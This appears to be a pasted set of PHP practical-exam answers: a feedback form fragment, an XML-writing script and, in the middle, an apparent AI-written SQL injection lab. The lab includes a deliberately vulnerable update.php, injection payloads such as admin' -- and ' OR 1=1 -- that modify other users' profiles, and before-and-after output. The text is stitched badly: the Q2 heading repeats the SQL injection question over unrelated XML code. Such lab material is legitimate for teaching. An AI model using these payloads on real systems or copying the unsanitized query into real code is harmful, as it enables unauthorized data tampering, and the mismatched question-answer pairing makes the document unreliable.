    echo "Email: $email <br>";
    echo "Feedback: $msg <br>";
    echo "Rating: ";

    for($i=1; $i<=$rate; $i++){
        echo "★";
    }
}
?>

</body>
```

```
</html>
```

□ SLIP 25

□ ✅ Q1: Q.1 Show the SQL injection attack on UPDATE statement, you need to make an unauthorized modification to the database by modifying another user’s profile.

This is clearly for your college practical exam — same as the login SQLi before. Here's the clean copy-paste version:

SQL Injection Attack on UPDATE Statement

Objective: To demonstrate how SQL Injection can be used to modify another user's profile without authorization by injecting malicious input into an UPDATE query.

Step 1: Setup Database in XAMPP

Keep same dataabser as in previous question this time just add one more column named “bio” and remove password cloumn

---

Step 2: Create the Vulnerable Update Page

Save the following as `update.php` inside `C:\xampp\htdocs\`:

```
<?php
$conn = mysqli_connect("localhost", "root", "", "test_db");
if (isset($_GET["update"])) {
    $username = $_GET["username"];
    $new_bio = $_GET["bio"];

    $sql = "UPDATE users SET bio='$new_bio' WHERE username='$username'";
    echo "Query: $sql <br>";
    mysqli_query($conn, $sql);
    echo "<h2>Updated!</h2>";
}
$result = mysqli_query($conn, "SELECT * FROM users");
while($row = mysqli_fetch_assoc($result)) {
    echo "User: {$row['username']} | Bio: {$row['bio']}<br>";
}
?>
<form method="get">
```

```
    Username: <input name="username"><br>
    New Bio: <input name="bio"><br>
    <button name="update">Update</button>
</form>
```

The vulnerability exists because user input is inserted directly into the UPDATE query without sanitization, allowing an attacker to manipulate the WHERE clause.

Step 3: Run the Application

Open browser and go to `http://localhost/update.php`

Step 4: SQL Injection Attack

Normal usage — updating your own profile:

- Username: `john` | Bio: `My new bio` → updates john's bio only

Attack — modifying admin's profile without permission:

- Username: `admin' --` | Bio: `Hacked by SQL injection`

The resulting query becomes:

```
UPDATE users SET bio='Hacked by SQL injection' WHERE username='admin' -- '
```

The `--` comments out the rest of the query. Admin's profile is now modified without any authorization.

Step 5: Attack Payloads

Objective	Username Field	Bio Field
Modify admin's bio	`admin' --`	Any text
Modify john's bio	`john' --`	Any text
Modify ALL users	`' OR 1=1 --`	Any text

Step 6: Proof

Before attack:

```
User: admin | Bio: Original admin bio
User: john  | Bio: John original bio
```

After attack (Username: `admin' --` | Bio: `Hacked by SQL injection`):

```
User: admin | Bio: Hacked by SQL injection  ← MODIFIED WITHOUT PERMISSION
User: john  | Bio: John original bio
```

One line answer for exam: By entering `admin' --` in the username field, the UPDATE query's WHERE clause is manipulated to target admin's record, and the `--` comment operator bypasses any remaining conditions — modifying the profile without authorization.

□ ✅ Q2: Q.1 Show the SQL injection attack on UPDATE statement, you need to make an unauthorized modification to the database by modifying another user's profile.

✍ Write:

"The XML file cricket.xml is created as follows:"

```php
<?php

$xml = new SimpleXMLElement('<Cricket/>');

// Team 1
$t1 = $xml->addChild('Team');
$t1->addAttribute('country', 'Australia');
$t1->addChild('Player', 'Smith');
$t1->addChild('Runs', '5000');
$t1->addChild('Wicket', '50');

// Team 2
$t2 = $xml->addChild('Team');
$t2->addAttribute('country', 'Australia');
$t2->addChild('Player', 'Warner');
$t2->addChild('Runs', '6000');
$t2->addChild('Wicket', '20');

// Team 3
$t3 = $xml->addChild('Team');
$t3->addAttribute('country', 'Australia');
$t3->addChild('Player', 'Maxwell');
$t3->addChild('Runs', '4000');
$t3->addChild('Wicket', '60');

$xml->asXML("cricket.xml");

echo "XML Created";

?>
```